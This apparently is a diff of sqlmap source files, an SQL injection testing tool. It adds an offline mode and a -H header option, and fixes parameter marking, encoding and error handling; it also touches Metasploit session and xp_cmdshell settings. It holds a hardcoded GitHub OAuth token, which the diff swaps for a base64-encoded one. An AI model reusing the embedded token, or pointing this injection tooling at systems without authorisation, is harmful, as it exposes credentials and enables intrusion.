SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
|
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
|
||||||
|
|
||||||
|
# Option/switch values to ignore during configuration save
|
||||||
|
IGNORE_SAVE_OPTIONS = ("saveConfig",)
|
||||||
|
|
||||||
# IP address of the localhost
|
# IP address of the localhost
|
||||||
LOCALHOST = "127.0.0.1"
|
LOCALHOST = "127.0.0.1"
|
||||||
|
|
||||||
|
@ -484,7 +486,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
|
||||||
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||||
|
|
||||||
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
||||||
GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968"
|
GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng=="
|
||||||
|
|
||||||
# Skip unforced HashDB flush requests below the threshold number of cached items
|
# Skip unforced HashDB flush requests below the threshold number of cached items
|
||||||
HASHDB_FLUSH_THRESHOLD = 32
|
HASHDB_FLUSH_THRESHOLD = 32
|
||||||
|
@ -612,6 +614,9 @@ MIN_ENCODED_LEN_CHECK = 5
|
||||||
# Timeout in seconds in which Metasploit remote session has to be initialized
|
# Timeout in seconds in which Metasploit remote session has to be initialized
|
||||||
METASPLOIT_SESSION_TIMEOUT = 300
|
METASPLOIT_SESSION_TIMEOUT = 300
|
||||||
|
|
||||||
|
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
||||||
|
LOBLKSIZE = 2048
|
||||||
|
|
||||||
# Suffix used to mark variables having keyword names
|
# Suffix used to mark variables having keyword names
|
||||||
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
|
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,6 @@ import os
|
||||||
import rlcompleter
|
import rlcompleter
|
||||||
|
|
||||||
from lib.core import readlineng as readline
|
from lib.core import readlineng as readline
|
||||||
from lib.core.common import Backend
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||||
|
@ -43,7 +42,7 @@ def saveHistory(completion=None):
|
||||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with open(historyPath, "w+") as f:
|
with open(historyPath, "w+"):
|
||||||
pass
|
pass
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -123,11 +123,8 @@ def _setRequestParams():
|
||||||
else:
|
else:
|
||||||
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
||||||
|
|
||||||
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data:
|
if kb.processUserMarks:
|
||||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
kb.testOnlyCustom = True
|
||||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
|
||||||
warnMsg += "so sqlmap could be able to run properly"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
|
if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
|
||||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||||
|
@ -137,6 +134,7 @@ def _setRequestParams():
|
||||||
if test and test[0] in ("q", "Q"):
|
if test and test[0] in ("q", "Q"):
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif test[0] not in ("n", "N"):
|
elif test[0] not in ("n", "N"):
|
||||||
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||||
|
@ -155,6 +153,7 @@ def _setRequestParams():
|
||||||
if test and test[0] in ("q", "Q"):
|
if test and test[0] in ("q", "Q"):
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif test[0] not in ("n", "N"):
|
elif test[0] not in ("n", "N"):
|
||||||
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||||
|
@ -178,6 +177,7 @@ def _setRequestParams():
|
||||||
if test and test[0] in ("q", "Q"):
|
if test and test[0] in ("q", "Q"):
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif test[0] not in ("n", "N"):
|
elif test[0] not in ("n", "N"):
|
||||||
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
|
@ -189,6 +189,7 @@ def _setRequestParams():
|
||||||
if test and test[0] in ("q", "Q"):
|
if test and test[0] in ("q", "Q"):
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif test[0] not in ("n", "N"):
|
elif test[0] not in ("n", "N"):
|
||||||
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
|
||||||
kb.postHint = POST_HINT.MULTIPART
|
kb.postHint = POST_HINT.MULTIPART
|
||||||
|
@ -241,7 +242,10 @@ def _setRequestParams():
|
||||||
else:
|
else:
|
||||||
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
kb.processUserMarks = not test or test[0] not in ("n", "N")
|
||||||
|
|
||||||
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
|
if kb.processUserMarks:
|
||||||
|
kb.testOnlyCustom = True
|
||||||
|
|
||||||
|
if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
|
||||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
warnMsg = "it seems that you've provided empty parameter value(s) "
|
||||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
warnMsg += "for testing. Please, always use only valid parameter values "
|
||||||
warnMsg += "so sqlmap could be able to run properly"
|
warnMsg += "so sqlmap could be able to run properly"
|
||||||
|
@ -399,12 +403,18 @@ def _resumeHashDBValues():
|
||||||
"""
|
"""
|
||||||
|
|
||||||
kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths
|
kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths
|
||||||
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
|
|
||||||
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
|
|
||||||
kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables
|
kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables
|
||||||
kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
|
kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
|
||||||
|
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
|
||||||
|
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
|
||||||
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
|
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
|
||||||
|
|
||||||
|
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
|
||||||
|
if kb.errorChunkLength and kb.errorChunkLength.isdigit():
|
||||||
|
kb.errorChunkLength = int(kb.errorChunkLength)
|
||||||
|
else:
|
||||||
|
kb.errorChunkLength = None
|
||||||
|
|
||||||
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
|
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
|
||||||
|
|
||||||
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
|
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
|
||||||
|
@ -604,7 +614,7 @@ def _createTargetDirs():
|
||||||
|
|
||||||
warnMsg = "unable to create regular output directory "
|
warnMsg = "unable to create regular output directory "
|
||||||
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
|
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
|
||||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
paths.SQLMAP_OUTPUT_PATH = tempDir
|
paths.SQLMAP_OUTPUT_PATH = tempDir
|
||||||
|
@ -626,7 +636,7 @@ def _createTargetDirs():
|
||||||
|
|
||||||
warnMsg = "unable to create output directory "
|
warnMsg = "unable to create output directory "
|
||||||
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
|
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
|
||||||
warnMsg += "Using temporary directory '%s' instead" % tempDir
|
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
conf.outputPath = tempDir
|
conf.outputPath = tempDir
|
||||||
|
@ -683,10 +693,13 @@ def initTargetEnv():
|
||||||
class _(unicode):
|
class _(unicode):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
kb.postUrlEncode = True
|
||||||
|
|
||||||
for key, value in conf.httpHeaders:
|
for key, value in conf.httpHeaders:
|
||||||
if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper():
|
if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper():
|
||||||
kb.postUrlEncode = "urlencoded" in value
|
kb.postUrlEncode = "urlencoded" in value
|
||||||
break
|
break
|
||||||
|
|
||||||
if kb.postUrlEncode:
|
if kb.postUrlEncode:
|
||||||
original = conf.data
|
original = conf.data
|
||||||
conf.data = _(urldecode(conf.data))
|
conf.data = _(urldecode(conf.data))
|
||||||
|
|
|
@ -47,6 +47,7 @@ class _ThreadData(threading.local):
|
||||||
self.lastHTTPError = None
|
self.lastHTTPError = None
|
||||||
self.lastRedirectMsg = None
|
self.lastRedirectMsg = None
|
||||||
self.lastQueryDuration = 0
|
self.lastQueryDuration = 0
|
||||||
|
self.lastPage = None
|
||||||
self.lastRequestMsg = None
|
self.lastRequestMsg = None
|
||||||
self.lastRequestUID = 0
|
self.lastRequestUID = 0
|
||||||
self.lastRedirectURL = None
|
self.lastRedirectURL = None
|
||||||
|
|
|
@ -41,7 +41,13 @@ class Wordlist(object):
|
||||||
else:
|
else:
|
||||||
self.current = self.filenames[self.index]
|
self.current = self.filenames[self.index]
|
||||||
if os.path.splitext(self.current)[1].lower() == ".zip":
|
if os.path.splitext(self.current)[1].lower() == ".zip":
|
||||||
|
try:
|
||||||
_ = zipfile.ZipFile(self.current, 'r')
|
_ = zipfile.ZipFile(self.current, 'r')
|
||||||
|
except zipfile.error, ex:
|
||||||
|
errMsg = "something seems to be wrong with "
|
||||||
|
errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex)
|
||||||
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
|
raise SqlmapInstallationException, errMsg
|
||||||
if len(_.namelist()) == 0:
|
if len(_.namelist()) == 0:
|
||||||
errMsg = "no file(s) inside '%s'" % self.current
|
errMsg = "no file(s) inside '%s'" % self.current
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
|
@ -127,6 +127,9 @@ def cmdLineParser():
|
||||||
request.add_option("--referer", dest="referer",
|
request.add_option("--referer", dest="referer",
|
||||||
help="HTTP Referer header value")
|
help="HTTP Referer header value")
|
||||||
|
|
||||||
|
request.add_option("-H", "--header", dest="header",
|
||||||
|
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
||||||
|
|
||||||
request.add_option("--headers", dest="headers",
|
request.add_option("--headers", dest="headers",
|
||||||
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
|
||||||
|
|
||||||
|
@ -659,8 +662,7 @@ def cmdLineParser():
|
||||||
general.add_option("--pivot-column", dest="pivotColumn",
|
general.add_option("--pivot-column", dest="pivotColumn",
|
||||||
help="Pivot column name")
|
help="Pivot column name")
|
||||||
|
|
||||||
general.add_option("--save", dest="saveCmdline",
|
general.add_option("--save", dest="saveConfig",
|
||||||
action="store_true",
|
|
||||||
help="Save options to a configuration INI file")
|
help="Save options to a configuration INI file")
|
||||||
|
|
||||||
general.add_option("--scope", dest="scope",
|
general.add_option("--scope", dest="scope",
|
||||||
|
@ -686,7 +688,7 @@ def cmdLineParser():
|
||||||
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
||||||
|
|
||||||
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
||||||
help="Make a beep sound when SQL injection is found")
|
help="Beep on question and/or when SQL injection is found")
|
||||||
|
|
||||||
miscellaneous.add_option("--cleanup", dest="cleanup",
|
miscellaneous.add_option("--cleanup", dest="cleanup",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
|
@ -712,6 +714,10 @@ def cmdLineParser():
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Imitate smartphone through HTTP User-Agent header")
|
help="Imitate smartphone through HTTP User-Agent header")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--offline", dest="offline",
|
||||||
|
action="store_true",
|
||||||
|
help="Work in offline mode (only use session data)")
|
||||||
|
|
||||||
miscellaneous.add_option("--page-rank", dest="pageRank",
|
miscellaneous.add_option("--page-rank", dest="pageRank",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Display page rank (PR) for Google dork results")
|
help="Display page rank (PR) for Google dork results")
|
||||||
|
@ -799,6 +805,7 @@ def cmdLineParser():
|
||||||
argv = []
|
argv = []
|
||||||
prompt = False
|
prompt = False
|
||||||
advancedHelp = True
|
advancedHelp = True
|
||||||
|
extraHeaders = []
|
||||||
|
|
||||||
for arg in sys.argv:
|
for arg in sys.argv:
|
||||||
argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
|
argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
|
||||||
|
@ -854,12 +861,17 @@ def cmdLineParser():
|
||||||
for arg in shlex.split(command):
|
for arg in shlex.split(command):
|
||||||
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
||||||
except ValueError, ex:
|
except ValueError, ex:
|
||||||
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex
|
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
|
||||||
|
|
||||||
# Hide non-basic options in basic help case
|
# Hide non-basic options in basic help case
|
||||||
for i in xrange(len(argv)):
|
for i in xrange(len(argv)):
|
||||||
if argv[i] == "-hh":
|
if argv[i] == "-hh":
|
||||||
argv[i] = "-h"
|
argv[i] = "-h"
|
||||||
|
elif re.search(r"\A-\w=.+", argv[i]):
|
||||||
|
print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
|
||||||
|
elif argv[i] == "-H":
|
||||||
|
if i + 1 < len(argv):
|
||||||
|
extraHeaders.append(argv[i + 1])
|
||||||
elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
|
elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
|
||||||
argv[i] = argv[i][:-1]
|
argv[i] = argv[i][:-1]
|
||||||
conf.skipThreadCheck = True
|
conf.skipThreadCheck = True
|
||||||
|
@ -888,6 +900,12 @@ def cmdLineParser():
|
||||||
print "\n[!] to see full list of options run with '-hh'"
|
print "\n[!] to see full list of options run with '-hh'"
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
if extraHeaders:
|
||||||
|
if not args.headers:
|
||||||
|
args.headers = ""
|
||||||
|
delimiter = "\\n" if "\\n" in args.headers else "\n"
|
||||||
|
args.headers += delimiter + delimiter.join(extraHeaders)
|
||||||
|
|
||||||
# Expand given mnemonic options (e.g. -z "ign,flu,bat")
|
# Expand given mnemonic options (e.g. -z "ign,flu,bat")
|
||||||
for i in xrange(len(argv) - 1):
|
for i in xrange(len(argv) - 1):
|
||||||
if argv[i] == "-z":
|
if argv[i] == "-z":
|
||||||
|
|
|
@ -5,11 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
|
||||||
|
|
||||||
from ConfigParser import MissingSectionHeaderError
|
|
||||||
from ConfigParser import ParsingError
|
|
||||||
|
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
|
@ -20,7 +15,6 @@ from lib.core.data import logger
|
||||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
|
||||||
|
|
||||||
config = None
|
config = None
|
||||||
|
|
||||||
|
@ -73,7 +67,7 @@ def configFileParser(configFile):
|
||||||
config = UnicodeRawConfigParser()
|
config = UnicodeRawConfigParser()
|
||||||
config.readfp(configFP)
|
config.readfp(configFP)
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex)
|
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % ex.message
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if not config.has_section("Target"):
|
if not config.has_section("Target"):
|
||||||
|
|
|
@ -10,7 +10,6 @@ import os
|
||||||
from xml.etree import ElementTree as et
|
from xml.etree import ElementTree as et
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.datatype import AttribDict
|
from lib.core.datatype import AttribDict
|
||||||
from lib.core.exception import SqlmapInstallationException
|
from lib.core.exception import SqlmapInstallationException
|
||||||
|
@ -89,8 +88,6 @@ def loadPayloads():
|
||||||
for payloadFile in payloadFiles:
|
for payloadFile in payloadFiles:
|
||||||
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
||||||
|
|
||||||
#logger.debug("Parsing payloads from file '%s'" % payloadFile)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
doc = et.parse(payloadFilePath)
|
doc = et.parse(payloadFilePath)
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
|
|
|
@ -191,7 +191,7 @@ def checkCharEncoding(encoding, warn=True):
|
||||||
# Reference: http://philip.html5.org/data/charsets-2.html
|
# Reference: http://philip.html5.org/data/charsets-2.html
|
||||||
if encoding in translate:
|
if encoding in translate:
|
||||||
encoding = translate[encoding]
|
encoding = translate[encoding]
|
||||||
elif encoding in ("null", "{charset}", "*"):
|
elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# Reference: http://www.iana.org/assignments/character-sets
|
# Reference: http://www.iana.org/assignments/character-sets
|
||||||
|
|
|
@ -77,7 +77,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||||
|
|
||||||
if page:
|
if page:
|
||||||
# In case of an DBMS error page return None
|
# In case of an DBMS error page return None
|
||||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
|
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# Dynamic content lines to be excluded before comparison
|
# Dynamic content lines to be excluded before comparison
|
||||||
|
@ -165,6 +165,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||||
elif ratio > UPPER_RATIO_BOUND:
|
elif ratio > UPPER_RATIO_BOUND:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
elif ratio < LOWER_RATIO_BOUND:
|
||||||
|
return False
|
||||||
|
|
||||||
elif kb.matchRatio is None:
|
elif kb.matchRatio is None:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
|
@ -212,7 +212,9 @@ class Connect(object):
|
||||||
elif conf.cpuThrottle:
|
elif conf.cpuThrottle:
|
||||||
cpuThrottle(conf.cpuThrottle)
|
cpuThrottle(conf.cpuThrottle)
|
||||||
|
|
||||||
if conf.dummy:
|
if conf.offline:
|
||||||
|
return None, None, None
|
||||||
|
elif conf.dummy:
|
||||||
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
|
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
|
||||||
|
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
@ -372,7 +374,7 @@ class Connect(object):
|
||||||
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
|
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
|
||||||
|
|
||||||
url = unicodeencode(url)
|
url = unicodeencode(url)
|
||||||
post = unicodeencode(post, kb.pageEncoding)
|
post = unicodeencode(post)
|
||||||
|
|
||||||
if websocket_:
|
if websocket_:
|
||||||
ws = websocket.WebSocket()
|
ws = websocket.WebSocket()
|
||||||
|
@ -573,7 +575,7 @@ class Connect(object):
|
||||||
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
|
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
|
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
|
||||||
tbMsg = traceback.format_exc()
|
tbMsg = traceback.format_exc()
|
||||||
|
|
||||||
if "no host given" in tbMsg:
|
if "no host given" in tbMsg:
|
||||||
|
@ -820,7 +822,6 @@ class Connect(object):
|
||||||
retVal = paramString
|
retVal = paramString
|
||||||
match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
|
match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
|
||||||
if match:
|
if match:
|
||||||
origValue = match.group("value")
|
|
||||||
retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
|
retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
@ -888,11 +889,16 @@ class Connect(object):
|
||||||
|
|
||||||
if conf.evalCode:
|
if conf.evalCode:
|
||||||
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
||||||
variables = {"uri": uri}
|
variables = {"uri": uri, "lastPage": threadData.lastPage}
|
||||||
originals = {}
|
originals = {}
|
||||||
keywords = keyword.kwlist
|
keywords = keyword.kwlist
|
||||||
|
|
||||||
for item in filter(None, (get, post if not kb.postHint else None)):
|
if not get and PLACE.URI in conf.parameters:
|
||||||
|
query = urlparse.urlsplit(uri).query or ""
|
||||||
|
else:
|
||||||
|
query = None
|
||||||
|
|
||||||
|
for item in filter(None, (get, post if not kb.postHint else None, query)):
|
||||||
for part in item.split(delimiter):
|
for part in item.split(delimiter):
|
||||||
if '=' in part:
|
if '=' in part:
|
||||||
name, value = part.split('=', 1)
|
name, value = part.split('=', 1)
|
||||||
|
@ -955,6 +961,10 @@ class Connect(object):
|
||||||
found = True
|
found = True
|
||||||
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
|
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
|
||||||
|
|
||||||
|
if re.search(regex, (query or "")):
|
||||||
|
found = True
|
||||||
|
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
|
||||||
|
|
||||||
